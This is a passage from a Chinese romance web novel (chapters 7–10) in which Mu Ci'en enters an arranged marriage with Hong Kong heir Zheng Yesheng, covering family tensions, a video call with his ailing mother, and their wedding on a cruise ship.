郑烨生捏着弓的手猛然缩紧,因为用力,他关节处泛着隐忍的白。
一秒,两秒……
时间分分秒秒过去,没有人说一句话。
穆慈恩的睫毛颤了颤,眸光也在时间的流逝中变得黯然。
但很快,她调整了自己表情,将这份失落藏了起来。
“我答应联姻,是因为他们跟我说,不会再逼迫我去学我不喜欢的东西,如果我……”
“除了你的第一个希望,其他的,我可以答应你,只是需要时间。”
两道声音一前一后落下,
穆慈恩的话被打断了。
郑烨生定定看着她,眸光切切。
穆慈恩无意识重复着“时间”这两个字,嘴唇有些发涩。
她是对商不感兴趣,可也不是个傻子。
像“时间”这样抽象的词汇,放在商场,多是为了稳住局面的大饼。
他作为掌权者,能不懂缓兵之计吗?
是想让她逼问他,这里的时间是指多久?
一天,一年,一辈子?
“郑烨生。”
她字正腔圆,缓缓念出了他的名字。
“其实,我没有其他选择了,对吧?”
7. Chapter7
现在这架势,婚是必须结的。
最多,先结婚再离婚。
唇瓣动了动,郑烨生眉心微不可察地拧起又舒展:“或许…”
“婚后的生活,没那么糟糕呢?”
话语里的字字句句,如同一枚枚石子重重投掷到了湖中,牵连起一串又一串的涟漪。
背景音乐切换,分秒停顿静得人心悸。
穆慈恩看向郑烨生,灯光落进眸底,瞳仁被照亮,琥珀般清透。
良久,她很轻地弯了弯嘴角,没有回答这个问题:“吃饭的时候,他们是不是说,我们的婚期在立春?”
她的语气很淡,仿佛这个婚期不是自己的。
郑烨生眉骨拢起:“嗯。”
“挺好的,还能在京城看一场雪。”穆慈恩轻笑,没有太多留恋转过了身,“走吧,我记得这里还有蹦床,去看看?”
木簪上的碧色翡翠在灯光下流转光华,耳坠轻轻晃动,带起了空气中一点茉莉浮香。
纤细的影子,一步一步远离。
郑烨生站在原地,静静望着她的背影,垂在身侧的手松了又紧。
敛起眉眼,他迈步跟在了她身后,亦步亦趋,就和来的时候一样,规矩端方。
——
夜色深重,如钩的弯月被层叠的云掩住,碧宸华庭内灯火通明,一扇长窗俯瞰着整个巍峨的紫禁城。
这座大平层是郑烨生在京城的私产,也是郑太林向琴当年送给他的见面礼。
《千里江山》图下,林向琴盘着腕上的沉香手持,优雅地端着茶品着。
她眼下用的,恰好是穆慈恩赠送的那一套南宋青白釉刻花茶具。
“母亲。”
缓沉的嗓音落在耳畔,袅袅白烟腾起,林向琴不紧不慢地撩起眼睫,睨了一眼笔直站在眼前的男人。
“你下午冇去戏楼。”
她语气淡淡,不算质问却带着似有似无的威压。
郑烨生搭落眼睫算是默认,眸底的冷色一晃而过。
意料之中,哪怕避开司机,只要动账,郑太就能掌握他的行踪。
“你有冇想过这個行为会令穆老唔高兴,好冇礼貌?”
不卑不亢,郑烨生温润抬眸看向林向琴:“穆老给戏票本意,系想让我同穆小姐尽快熟落。这戏穆小姐睇过好多次,再睇难免会觉得闷,冇性质,这同穆老目的事与愿违。”
“回程路上,我有亲自向穆老解释这件事,送厚礼赔罪。”
林向琴不疾不徐吹了吹手中的浮茶,又抿了一口,并没有评判他的行为,只是看着手中的茶杯。
“阿慈送的这套茶具,好衬我心意。今日系我同她第一次见面,她表现都算知书识礼、落落大方,不过我睇得出……”顿了顿,她沉了眸,缓声提点,“她性子里有股锐气,在刻意收埋锋芒,日后怕难搞。”
“北京同香港隔得不近,我好好奇,你选择她的原因。”
“啪嗒”茶杯被放置到了盏上,“隔得不近”这四个字被林向琴咬得很重,她含笑的目光中带着毫不掩饰的审视。
郑烨生镇定自若回应:“同穆家联姻,可以平息外界关于郑家政治立场的传言。Victor想往内地发展,亦需要穆家帮手铺路,而且……”
他刻意停了几秒,唇角勾起:“北京同香港隔得距离,唔系您所希望?”
林向琴静静盯着郑烨生,几秒钟后,从喉间溢出了一声低笑:“你很聪明。”
话里提到了郑家,提到了她在意的那个混球二儿子,还提到了她最大的顾虑——如果Byron联姻港城相当家世的千金,难免会助长他的势力,如果联姻家世不如郑家的,她也没那么乐意降低身份去扶贫。
现在,和穆家联姻看上去是很好的结果,山长水远,穆家的手再长,也伸不到这边。
林向琴满意眯了眯眼睛:“嗯,还有一件事。”
“美国分公司那边的业务,你最好在婚前搞定,亦方便你大哥接手。”
嘴边笑意深了几分,她轻声道:“只要你这段时间安安分分,我会考虑结婚前,准你同你妈咪打视频电话。”
郑烨生笑不达眼底,捏拳的手又紧上了几分,轻轻颔首:“好的母亲。”
林向琴点了点头:“瑞士那边,现在有专人24小时照顾你妈咪,她的状况算稳定,看见你的照片,能认得你。”
强压下胸口的闷火,郑烨生后槽牙紧了紧,努力保持着面部线条平和,低声应答:“多谢母亲。”
“嗯。”林向琴随意瞥了眼桌上的茶具,也没有吩咐人把这带走,只是简单理了理自己的衣摆,“时间不早了,你这边我住不惯,先走了。”
林向琴背身的刹那,郑烨生脸上的笑容瞬间敛起,眸色深沉了几分,眼尾上挑的弧度带着几分野心勃勃的锐利。
不过几秒,他恢复了温和沉稳的模样,迈开步子跟上前。
“我送您。”
——
梧桐叶落,转眼只剩下了坠着枯叶的光秃枝干,京城在立春前下了一场大雪,厚重的雪折断了枝干,将它掩在了泥下。
穆慈恩还是没有看见雪,京城初雪的那晚,也是她和郑烨生大婚的前一晚。
维多利亚港,咸湿的海风中裹挟着未散尽的凉峭,两岸繁华的灯火,炫亮了半边天空,海面碎金,游艇驶过波纹点点。
香槟杯碰撞,酒液溅出,顺着葱白的手指滴落到了甲板。
穆慈恩泄愤似的将酒一饮而尽,任由发丝被风吹得凌乱,一双眼睛水盈盈的,红得不像话。
“好了好了,真的哭肿了,明天怎么办?”孟羡今蹙着眉心,小心翼翼拿着纸巾替穆慈恩擦着眼泪。
“是啊,我听说港媒的嘴巴都很毒的,你要是肿着一双眼睛,他们能编出一堆劲爆的标题嘲笑你!”赵闻渊连连点头附和,关心里夹杂着些好奇,“不过说真的,我好像第一次见你哭这么惨……”
愣了几秒,他想到了什么皱眉补充:“不对,你当年被伯父伯母关起来,不许去……”
他后面的话没有说完,就很不客气地被人给了一个爆栗,并被迫让出了位置。
“你会不会说话?哪壶不开你提哪壶?”赵清姌不满地白了一眼自己弟弟,温柔地握住了穆慈恩的手,“小五,你这次是远嫁,郑
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家的家庭组成又复杂,我担心……”
“如果他们让你吃亏了,你就跟我们说,好歹我和霍老大,都和郑家在生意上有往来也是你的娘家人,能在商场上帮你出些气。”
穆慈恩望向赵清姌,又偏过脸看了看始终守在她身边的孟羡今,还有站在她们身后,其他四个发小,没控制住,啜泣着吸了吸鼻子。
她觉得自己这个状态很糟糕,也不确定能不能维系好体面。
她最亲近的六个发小都排开了工作,千里迢迢来港城参加她的婚礼,为她办游艇派对,她应该是幸福的。
可是她很难过,连哭都是惘然的难过。
现在越热闹,她就越忽视不了,她远嫁到了一个陌生的地方,在这里没有亲人,没有好友,也没有她喜欢的冬天。
她唯一熟悉一点的,是她的未婚夫,而他……
“我差点忘记了,当时…郑烨生那么巧出现在酒吧,是不是有人跟他说通风报信了?”她瓮声瓮气地瞥向了正给孟羡今披外套的霍清忱。
她后来一直在复盘和郑烨生的相处细节,忽然就想到了当时在酒吧,孟羡今有提到她老公霍清忱和郑烨生有生意往来,且关系不错。
见目光全都聚焦在了自己身上,连自己老婆也不满地看向自己,霍清忱轻咳了一声:“我…他当时知道你回国了,对你的事很上心。”
“对我上心?”穆慈恩嘲讽地低笑了声,指尖抹去了泪珠,突然上涌的委屈让她鼻尖发酸。
郑烨生的上心怕是限定的?
离开京城后他就去了美国,在那边一呆就是五个多月,问就是出差中。
因为时差关系,他礼物没少寄,天却没多聊,饭局后到今天,他们一共只见了两次面。
一次是和她去领证,拍结婚照,一次是婚礼彩排,两家聚餐。
除了他必须要出现的场合,他就没想过要和她好好培养感情,她和结婚工具人有什么区别?
他又凭什么让她会觉得,婚后的生活没那么糟糕?
她根本没办法去要求什么,因为她的妈妈安慰她说,日久生情,她的爸爸对郑家为他事业带来的好处很满意,她的爷爷,对郑烨生出差在外还记挂她,给她一家都寄礼物的行为很欣慰。
未婚夫妻做成这样,似乎是够了。
灯光明明灭灭,游艇离岸越来越近,快乐时光似是要到了尽头。
穆慈恩眉心涨得发疼,酒的后劲冲上脑,让人有些昏沉反胃。
觉察到了她情绪的低沉,赵清姌别有用意地拍了拍穆慈恩的手:“在离婚这方面,我有很熟的律师,也有拟协议的经验。如果你日后有这方面需要,我…能帮你。”
穆慈恩眸光闪了闪,心跳紊乱,手指猛然蜷起。
“姐!你怎么比我还不会说话,哪有你这样的,人家还没结婚,就惦记着离婚,会不会太晦…气…了…”赵闻渊声音越来越小,后面几乎听不见。
游艇快要靠岸,他看见了那个站在岸边,与夜色融为了一体的高大身影。
穆慈恩也看见了。
脑袋晕乎,她的第一反应是——这大概算是他们第六次见面?
8. Chapter8
闪烁的霓虹光映照在海面,游艇渐渐靠岸,岸边男人深邃俊美的轮廓渐渐清晰。
路灯昏色的光勾勒着黑长大衣的边缘,衬得他身姿清隽挺拔,光线浮动,地面拉长着一道挺拔清淡的影。
所谓无用的默契是,在看见郑烨生的刹那,游艇上的人,默契把中心位置留给了穆慈恩。
海风拂过,柔媚带起黑丝绒长裙裙摆,雪白的皮草毛边轻轻颤动,细长的黑高跟踩下了台阶,纤细的脚踝上,蝴蝶结带飘动。
穆慈恩假装自己没看见岸边的身影,捋了捋被风吹散的发,自顾自下着台阶。
手刚要搭上工作人员的胳膊时,一只干燥宽厚的掌心,递到了她的眼下。
游艇灯光未灭,暖黄的光线下,男人手心掌纹脉络清晰,修长的手指如上好的羊脂玉。
她很清楚伸手的是谁,迟疑了几秒,她仍旧把手向着工作人员的胳膊搭去。
在指尖触到衣袖的那一秒,
她的手被人自下向上牢牢握住了。
不属于她的温热温度,一瞬间,沿着脉搏经络,传达到了她的脑神经。
眼睫怔愣撩起,穆慈恩直直撞进了郑烨生的眼底。
深不可测的墨色的瞳仁中,明明白白倒影着她。
郑烨生……
今天好像戴美瞳了?
失神的一霎,穆慈恩忘记注意脚下的那级台阶,细长的高跟细在台阶边缘打滑。
毫无意外,她失去了平衡,整个人控制不住地朝前倾。
海风在耳边呼啸过,夹杂着浪拍打岸边和朋友们担忧的惊呼。
还有什么,会比她顶着一双红通通的眼睛,带着花掉的妆容和被吹乱的发型,大意跌倒在衣冠齐整的未婚夫面前,更丢人的事?
惊呼来不及出口,她的腰被人搂住了。
那只紧握着她的手,以不容抗拒的力道,将她拽进了一个夹杂着乌木香的怀抱中。
白色的皮草不稳地顺着肩膀下滑,裙摆擦过了笔挺的西装裤,高跟也悬空晃动,鞋跟恰好蹭过了男士皮鞋。
心跳如鼓,大脑空白成了一片。
穆慈恩瞪圆眼睛,紧紧盯住了郑烨生。
盈盈眸光,和落满光辉,轻摇慢晃的海水一般。
鞋跟落地,她站稳了。
不假思索,穆慈恩推了一把郑烨生,低敛着眉眼,睫毛羞恼地抖动,连朝旁边看的勇气也没有。
还有更丢人的事,
在这么多人,尤其是听完她吐槽的朋友们面前,和她的未婚夫,违心的,生硬的,秀了一场“恩爱”。
海浪拍打岸边的声音突然变响,霓虹灯将他们在地上重叠的影子,染得忽明忽暗。
“你怎么…阿嚏,来这儿了?”穆慈恩压着声质问郑烨生,吸了吸鼻子,眉心紧蹙。
回眸,她瞥了眼身后,意有所指:“又有人,跟你通风报信?”
也许是哭过,也许是冷的,她声音里鼻音很重,阴阳怪气的埋怨里,夹杂着自己都未曾发觉的娇。
“我…”郑烨生的喉结不经意擦滚动,眉骨拢起又松,没多想,举止流畅地把自己的大衣脱下,套到了穆慈恩的身上。
不等她拒绝做反应,他转身沉着地看向船上的人:“抱歉,今晚我本不应该打扰。”
“母亲这边,有婚礼相关的事,要最后和阿慈确认,我现在需要把她带走。”
顿了顿,他不卑不亢地补充:“天色已晚,我让人准备了些茶点在酒店顶层的私宴包厢,如果各位不嫌弃,一会儿管家会带大家过去。”
穆慈恩红唇动了动,没说什么,气恼地揉了揉眉心。
郑烨生这个时间来,算不上打扰,毕竟他们这边都要打道回府了,只是离谱的是,都这个时间点了,他们到底是急着确认什么?
还有,现在这么赶忙,不也是郑烨生忙中抽时间仓促结婚的结果?
她就是被他拖累的!
看出了穆慈恩的不情愿,孟羡今拧眉不太放心地要出声,却被霍清忱拦下了。
他对着她摇了摇头。
泄气般,穆慈恩望着孟羡今委屈撇了撇嘴角,又对着自己的好友们挥了挥手:“那我先走了。”
乌木香萦绕在鼻尖难散,她捏着大衣边缘的手指松了又紧。
“走吧?”郑烨生温和地在她耳边询问。
脚步向前迈开,踩在海岸边,港城脚步向前迈开,踩在海岸边,港城鳞次栉比的摩天大厦近在眼前。
陌生与繁华,在夜色中像巨兽,难有归属感。
穆慈恩再次回眸看向她的好友们。
她的宝贝闺蜜孟羡今朝前迈了一小步,同她挥手:“去吧,我们大后天才走,还有很多机会见面的~”
心软了又软,她深吸一口气扭过头:“嗯,再约!”
一步一步,她背对着游艇方向,慢腾腾地跟在郑烨生身边。
也还好,男人的步子不快。
——
“诶…”穆慈恩懒散地打了一个哈欠,笨笨地扯了扯郑烨生的衣袖。
车上空调太暖和了,她没控制住睡了一觉,现在整个脑袋都晕晕乎乎的。
暖色的壁灯亮起,廊间人影深深,
浅水湾的别墅是郑家为了方便穆家送嫁,专门安排的私宅。此时夜色已深,穆家其他人休息得早,周遭都静悄悄的。
“到底是什么事啊?我明天凌晨三点还得起床做妆造呢~”怕吵醒其他人,穆慈恩刻意压低着声音。
她吸了吸鼻子,又可怜巴巴打了个哈欠,咬牙切齿:“而且,彩排时那结婚一箩筐注意事项里,不是有一条,新郎新娘晚上最好不见面吗?”
话说完,她的手就被牵住了。
郑烨生凝眸看着她,嘴角弯了弯,很轻地摇头:“跟我来。”
穆慈恩:“嗯?”
一头雾水,她还是跟着郑烨生一起,并排坐到了沙发上。
“我们领过证,已经是夫妻了…”郑烨生说到这里,停顿了几秒,手指有些紧张地动了动,嗓音干涩,“我想,这次和妈妈视频,应该和你一起。”
厅内并不明亮,落地窗外被泳池折射的光痕,弯弯曲曲在天花板洇开。
“滴滴滴……”静谧的室内,回荡着视频电话连接的声音。
穆慈恩望着郑烨生极缓地眨了眨眼睛,又垂眸看了看在连接中的通话页面。
妈妈?郑太?
不对……
沾染酒精后有些发懵的大脑,缓了好几秒她才明白郑烨生那句话的意思。
郑烨生的身世,是一个公开的秘密,这些年他虽然被郑太承认为儿子,但圈里都知道,他不是郑太亲生的。
哪怕他雷霆手段纵横商场,他郑家话事人的位置,也因为身世缘故,没有外界看上去那么稳。
眉尖轻挑,穆慈恩眼底
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不自知地泛起了零星笑意。
她以为,他对这件事会避而不谈,
毕竟她爷爷曾在婚前嘱咐她……
——“Byron的身世是有些不光彩,但郑太认他,又屡次帮他压外界言论,他就是她儿子。”
——“更何况,他现在是郑家掌权人,正儿八经的继承人,我想,他应该也对自己身世讳莫如深,你嫁过去,最好不主动提这些。”
看着连接中不断加载的符号,穆慈恩又是一惊,后知后觉意识到了问题。
她急急忙忙去拉手包拉链,东西碰撞发出了窸窸窣窣的声音。
瞧见穆慈恩慌乱的举动,郑烨生向来冷静的眉宇多了份局促,嗓音也发着哑:“怎么了?”
眉心蹙了蹙,他温声解释:“这件事是有些仓促,我是半个小时前才被母亲通知允许视频,在车上,我见你休息,不愿打扰,一直没找到合适的机会说。”
“或者,你是认为,我……”
他话到一半又沉默了,
他知道自己的身份是个污点,他自己能够坦然的接受,但对于光风霁月的穆家来说,这些事是过于腌臜。
可能是他太心急了。
“我这个样子见你妈妈,会不会不礼貌?”穆慈恩快速抿开了刚刚涂好的口红,模样严肃正经。
眼神相对,她努力在郑烨生的瞳仁中看清自己现在的形象。
刚刚他嘀嘀咕咕了一通话,但对于找不着镜子的她来说,就是左边耳朵进去,右边耳朵出去。
俗话说“丑媳妇总是要见公婆”,可她不觉得自己丑,也不想自己丑。
艳红的唇瓣,饱满润泽,如同刚洗净的樱桃。
郑烨生眸光怔了怔,温柔地抬手,用指腹缓慢地擦拭掉了她涂出一点的口红。
“不会,没有关系。”
手指并拢摩挲,浓郁的绯色化开在了指尖。
如同被闪电触到,穆慈恩向后缩了缩脖子,又默默把碎发别到了耳后。
“C''estByron?”
(是Byron吗?)
忽然,一道女声伴着细小的电流声出现。
视频接通了。
穆慈恩顺着看向郑烨生的手机屏幕,看见了一个很美丽的女人。
棕色的波浪发披散在肩头,一双墨蓝色的眼睛深邃迷人。
她瞳仁的颜色,和郑烨生的左眼一样。
眼尖的,她发现女人穿的很像是病服?
“C''estma.”
(是我)
郑烨生低磁沙哑的嗓音,如同海水裹着细沙。
穆慈恩发现他说每种语言时,腔调似乎都不一样,说普通话时,字音温润;说粤语时,慵懒随性;而说法语时,简练中又带着一丝莫名的哀伤。
“C''estMuCi''en,mafemmeavecquijesuisamoureux.”
她听见他又说了一句话,并非常自然地揽住了她的肩膀。
一时间,他们靠得非常近,以一种依偎的姿势同时出现在了视频中。
“我刚告诉妈妈,你是我相爱的妻子。”
灼热的呼吸喷洒在耳畔,穆慈恩听见郑烨生用气音一字一顿翻译。
敏感的耳垂烫得发痒,她敏锐捕捉到了关键词——“相爱”。
相爱?
撒谎不好吧?不是君子吗?
9. Chapter9
穆慈恩快速眨眨眼,靠近到郑烨生耳边,咬紧后槽牙反问:“我们哪里……”
“Byron…?Tun''espasmonByron,tun''espaslui.”
视频中的女人忽然扬了音调,非常肯定地摇了摇脑袋。
“Tun''espaslui,tun''espasmonfils……”
她无意识念叨着反复的话语,眼神开始变得哀伤,破碎的音节断断续续,低下头非常努力地翻找着什么。
穆慈恩听不懂法语,但她能感受到女人逐渐变得崩溃的情绪。
同时,她也感受到,郑烨生揽着她肩膀的手指慢慢缩紧,修长的指节深深陷在了她的皮草外披中,然后整只胳膊都颓然无力地垂落。
他压低着声线重复着一个词,懊恼着,沙哑着,连尾音都轻轻颤抖。
情绪比语言更快的感染人,
也许最开始,他是在隐秘的期待,那么现在,这骤然低落下的气压,是因为悲伤。
在悲伤什么?
穆慈恩眉心拧起,目无转睛地盯向郑烨生,落在身侧的手,朝向男人的胳膊,犹豫地抬了抬。
手停在了半空。
“Voicmentestmonfils,voicisaphoto.”
视频中的女人不知什么时候翻出了一张照片,用手指重重点了点,好似在强调什么。
照片有些旧,边角因经年磨损而微微发卷。
相纸上,郑烨生身着学士服,戴着方正的学士帽,拿着毕业证书,意气风发地咧嘴笑着,细长的眼尾,向上翘着骄傲的弧度,而站在他身边,拿着他另一半毕业证书的男人,正好是她发顶还没全秃的舅舅。
这是……大学时期的郑烨生?
很快,她看见男人紧抿着唇,低下脑袋,用指腹熟稔地抵住了左眼的眼睑处,重重闭上眼睛。
这个动作,是她曾经脑补过的——郑烨生取戴美瞳。
没有想象中笨拙,也不难看,整套动作利落简洁,只是一眨眼的时间。
接着,他又用手捋了捋自己的头发,努力将自己微分的前额发丝变成顺毛。
男人的模样逐渐向照片靠拢,只是身上沉冷的气质,和照片上开朗骄傲的人,简直是两模两样。
他恳切地再开口,努力让自己笑出来:“Maman,regardeencore,c''estmoi,Byron.”
视频中女人愣住了,看了看郑烨生,又看了看照片,模样有些高兴,甚至没忍住抬起脑袋,和身边没有露出样子的人分享。
穆慈恩眼睫颤动,心口发紧,酒也醒了大半。
她从郑烨生的动作,和女人拿照片的举动中,对刚才整件事都擦了大概。
起初,她觉得是郑烨生妈妈,在不满他戴美瞳遮掩瞳色的行为,可是慢慢,她心底有了一个更准确的猜测——他的妈妈,最开始没有认出郑烨生,所以拿着照片强调她儿子的长相,直到郑烨生取下美瞳,露出了自己的眼睛。
女人絮絮叨叨,眉开眼笑地对着他们说了好多话,眼神也慢慢从郑烨生身上转到了穆慈恩身上。
她忽然用有些蹩脚的中文问:“你是小新娘,Byron的?”
“我是Kathy,Byron的……”她顿了顿,后面的话忽然止住,转了话,“第一次见面,你是mozi…恩?”
“穆…慈…恩,不过可以叫我Iris,我的英文名。”穆慈恩没想到郑烨生的妈妈会中文,她立马笑眼弯弯地打招呼。
Kathy艰难地用中文继续表达自己,眼眶泛着红:“对不起,见面很…很…慌忙,但知道,你们很好,我就放心了许多。”
不知想到了什么,她用着拜托的语气,转身对着旁边人说着什么。
郑烨生靠近穆慈恩,在她耳边轻声解释:“我妈妈在中国留学,会说中文,不用担心。”
穆慈恩点了点脑袋。
无意间,两人的发丝勾缠摩擦。
天花板处水纹粼粼,光影暧昧,投影在墙上,他们的影子靠得很近,像极了耳鬓厮磨。
“她现在是在让……”
“到时间了!”
一句毫无感情又有些严厉的话在视频另一边响起。
甚至不等人反应,视频就被切断了,挽留都来不及。
毫无预兆,穆慈恩懵懵地看着恢复到聊天界面的手机,又抬眸瞥向郑烨生。
看上去,他习以为常。
察觉到了穆慈恩不解的目光,郑烨生嘴角动了动,摁黑屏了手机,沉着眉眼:“母亲只给了我十分钟。”
他唇边扯出的笑容很淡,带着浓重的苦涩。
那一瞬间,那股无奈,又不得不妥协的悲怆,像一条线,缠绕进了穆慈恩的心脏。
这样的感受,她好像是能懂的。
眸光微动,她咬了咬唇:“你刚才……没事。”
怕冒犯,关于那段母子的对话,她还是保持了缄默。
郑烨生垂眸,喉结上下动了动:“不好意思,我不想让妈妈过多担心,所以撒了一个小谎,告诉她……”
眼睫撩起,是他那双漂亮的眼瞳,清而亮:“我们是相爱结婚。”
字正腔圆,低磁沙哑的嗓音在安静的环境里,性感蛊惑。
“没事。”摇了摇脑袋,穆慈恩最开始那股兴师问罪的情绪,已经淡了下去,手指捏了捏裙上的褶皱,“这是…郑太的安排吗?”
“不是,这是我的想法。”郑烨生轻咳,迟来的不自在,很快又恢复如初,“但是母亲确实有嘱咐。”
“嗯?”穆慈恩不解。
“她要我叮嘱你,明天婚宴上,除了郑家那些人,其他名门望族的宾客,都要记熟。”说着,郑烨生用手机向穆慈恩转发了一份文件,“这是他们的照片和名字对应图的总结。”
穆慈恩:“……”
点开文件看了一眼,整整五十页!!!
火和委屈好像又往上窜了一点。
“我知道了!”快速从沙发上起身,她没忍住瞪了眼郑烨生,不客气赶人,“婚前一晚,新郎新娘见面不吉利,你快回去吧。”
看了眼沙发上散落的手包,郑烨生默默把掉出来的口红放进了包包里,又将包包拉链拉好起身向穆慈恩递去。
他眉梢挑起,柔和牵起唇角:“明天见。”
包上银扣亮片折射着冰冷的光。
看了眼包包,又看了看男人,穆慈恩黑着脸拿过了自己包:“嗯。”
他就在这里装吧装吧!
高跟踩在地板,发出了烦躁地“哒哒”声。
盯紧那抹背影,直到她消失在了楼梯间,郑烨生没忍住,低眉浅笑了声。
夜色深沉,明天快到了。
——
婚礼在郑家专程购置的游轮上举办,游轮也被命名为——“生恩号”。
婚礼会场布置在游轮的大露台,整体色系是蓝紫色,深浅错落的蓝紫绣球花布满整个场地,雪白的玫瑰点缀期间,湛蓝无际的大海铺陈了整个背景。
关于整场婚礼,穆慈恩能提出的唯一一个建议是——把婚礼办在室外。
而后所有的流程,都有人操办,她需要做的就是点头同意。<
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p>也许海上婚礼的想法是郑烨生提的,也许不是,但她还挺满意。
不仅仅是对婚礼的布置满意,还有她的婚纱。
参加过闺蜜孟羡今的婚礼,知道她顶着古董冠冕的不易,在看过设计师给的婚纱图后,她也担心自己要顶着3,4公斤的皇冠,毕竟她最烦麻烦了。
尤其,郑烨生在美国送来的礼物中,有一顶斯里兰卡蓝宝石冠冕,据说是18世纪,荷兰国王送给妻子的礼物。
幸好,没强制她婚礼戴。
轻盈的头纱垂落在地,和蓝色的蝴蝶流苏发夹相得益彰,婚纱层层叠叠,虽然蓬松却不笨重,紫蓝的花簇沿着腰际勾勒到拖尾的裙摆。
每走一步,花簇摇曳,梦幻又轻盈。
穆慈恩的评价是:很好,裙摆一提就能逃婚,只是游轮婚礼,规避掉了风险。
婚礼进行曲,神圣而华丽,
红毯两边坐着宾客,位置有限,受邀者都是京港两城的名门望族。
不过余光轻瞥,穆慈恩便能快速把他们和那五十页文档里的名字对上。
眉眼轻抬,她的目光清浅地落在了红毯尽头。
一束阳光倾落,落在她眼底,盈盈潋滟了眸光,也照亮了她眸中矜贵清雅的男人。
郑烨生穿着笔挺的雅黑西装,左胸口处别着和她头饰同色系的蝴蝶胸针,熨帖齐整的西装裤包裹着他修长的腿,整个人挺拔又精神。
穆慈恩注意到,他今天没有戴美瞳。
那双异色深眸,在海天一色的衬托下,美得妖冶,又带着清冷淡漠的疏离感。
咸湿的海风拂过,吹动了花瓣,吹动了头纱,也吹动了额发。
郑烨生掀起了眼皮,从容不迫地对上了她的眼睛。
阳光透过了云层,扫过他们中间,燥热了周遭气流。
不知道是不是正午阳光作祟,穆慈恩好像在男人的眼中,察觉到了一晃而过的惊艳。
空中洒下了花瓣,是粉色,
纷纷洒洒,好像要弥补没看见京城初雪的遗憾。
一片花瓣,停留在了郑烨生干燥的手心。
司仪微笑着说出流程词:“请新娘的父亲,将新娘的手放到新郎手中。”
穆慈恩微微抿紧唇,缓慢感受着自己的手和郑烨生的手贴合在一起。
眼睫颤动,她直直望向郑烨生。
不是第一次牵手,可这次,她心跳快得不像话。
爸爸在一板一眼说着准备好的词,台下的亲朋好友,名流贵族全都注视着他们。
可她听不清,也看不清了,时间分分秒秒如同被人按下了暂停键。
遥远的天边,有海鸥和无人机在盘旋。
她真的……结婚了?
和郑烨生。
致辞将近尾声,她听清了爸爸最后一句话:“……执子之手,与子偕老”。
瞬间,台下掌声如雷,
明明没有真当真,她的脑中却回荡着这句祝福词,
手被人紧紧握着,让她有些胆怯,又有几分局促,下意识想要把手抽开。
郑烨生没有允许,握她很紧。
十指握在一起,指尖扣着指尖。
他没有放开她,也没有缷一点力,
直到为彼此交换戒指。
然后,司仪说:“现在请新郎亲吻新娘。”
穆慈恩紧张又迟钝地按照步骤,侧身向着郑烨生。
四目相视的那一秒,她看见男人的唇边漾起了一抹很浅的笑。
温柔清润的嗓音伴着海风,拂过了她的耳畔,鬓发扫得她脸颊痒痒的。
他说:“阿慈,闭眼。”
10. Chapter10
郑烨生牵起了她的手,粗粝的指腹堪堪擦过了钻石戒指在的地方。
海浪声,微风,飘舞的花瓣,和一个浅尝辄止的吻。
闭眼的时候,穆慈恩的思绪在飘散,
她在想……
她和郑烨生虽然没有感情基础,但是夫妻,应该不会做素的。
鼓掌声震耳欲聋,又有花瓣散落,
顺着额头,滑到了他们若即若离的鼻尖,然后是唇上……
男人退开,花瓣也随之飘落。
他压低了声线,用只有他们两个人才听得见的声音说:“新婚快乐。”
粤语发音,咬字低磁慵懒,伴着那天和煦的阳光。
——
整场婚宴,所有流程走完,穆慈恩觉得自己快碎了。
彩排和正式结婚完全是两模两样!!!
她能接受饿肚子,能接受踩10cm高跟,能接受喝酒,能接受端架子应酬,
但她不太能接受这四个同时存在,如果怨念可以化为实体,那她的怨气,一定比鬼还重。
“弟妹,你穿这身真的太靓了!”
偏分背头,戴着黑色半框眼镜,穿着条纹深色西装的男人笑着感叹。
为了送客,穆慈恩换了一套新礼服,正红的金丝绣旗袍勾勒着她窈窕的身段,米色珍珠绣金边广袖披风落在臂弯,摇曳的托地裙摆衬得她纤瘦高挑,保守与风情兼具。
这不是穆慈恩送客期间听得第一句夸奖,但绝对是最让她不舒服的一句。
男人上下打量的轻浮目光,让她心生躁意,偏偏还不能直接撕破脸,因为这是郑太的二儿子Victor,郑晋谦,也是郑烨生名义上的哥哥。
通过资料和八卦,她对这个人印象很深,不仅因为他负责打理家族产业中的珠宝业务,准备开拓内地市场,需要她家在其中牵线搭桥,也因为他常年和模特,小明星传绯闻,甚至闹出过夜会八女的丑闻。
一想到日后和这浪荡子无可避免会有些往来,她就恨不得当场翻白眼呛人。
要控制情绪,不然难堪得不止是她。
穆慈恩默默呼出浊气,皮笑肉不笑,礼貌又敷衍地同Victor颔首。
“Byron真是好福气啊!”Victor仍在打量,脚步更是不客气地朝前迈。
不动声色,有人挡住了他。
郑烨生微微侧着肩膀,将穆慈恩罩到了自己身后,用身体挡住了郑晋谦赤裸的眼神。
“多谢二哥。”
灯火葳蕤,他微笑着,眸光温和,眼尾上挑的弧度却是锋利的。
站在了阴影下,触目即是男人宽阔的肩膀,顺着倾泻的灯光,穆慈恩抬头望了一眼男人被明光勾勒着,流畅分明的侧颜轮廓。
睫毛颤了颤。
因为不懂粤语,穆慈恩也没太注意兄弟间都交谈了什么,她只听见郑晋谦走时扬声笑道:“…争取早生贵子!”
“早生贵子”这词,她听懂了。
这心境,怕是和学语言最先懂骂人的词汇差不多。
仗着“躲”在郑烨生背后,她用着气声不忿地反驳:“早生个头。”
一声滚烫的低笑落在了她的耳畔。
郑烨生转过了身,嘴角噙着一抹浅淡的笑意,似笑非笑睨着她。
耳根发热,知道男人听见了,穆慈恩的心虚只有三秒钟。
破罐子破摔,她不是真端庄的闺秀,也没那么想生孩子。
忽然,眼前递来了一颗被锡纸包裹着的巧克力。
“吃吗?”郑烨生矜然垂着眸,浓密的睫毛轻轻下压,在眼睑处落了一小片扇形阴翳。
吃。
眼神瞟了瞟四周,穆慈恩快速地拿过了这颗巧克力。
“Byron……”
见一旁有人影踟蹰着上前,穆慈恩把巧克力藏进了自己手心。
此时的锡箔纸是温热的,因为沾染了另一个人的温度。
“太太。”吴家言咳了一声,规矩地和穆慈恩打招呼,眼神却频频看向郑烨生,“Byron,我这边……”
他犹豫不决的模样,分明是有事找郑烨生,需要借一步说话。
郑烨生没有直接出声应,而是敛眉望着穆慈恩,仿佛是在征询她的意见。
海风吹拂过,擦过男人的别在胸前的那朵玫瑰花,飘起了垂地的广袖。
愣了愣,穆慈恩望向郑烨生,小幅度点头。
得到她的首肯后,男人才和助理站到了一边。
仍在原位送宾客,穆慈恩的视线控制不住落在郑烨生方向,
她缓慢地用手指摩挲过坚硬的钻石戒指。
这是相敬如宾吗?
太太这个称呼,真的很让人不习惯。
肉眼可见,甲板上的郑烨生不知道听到了些什么,神色逐渐变得严肃,眉心也紧蹙起。
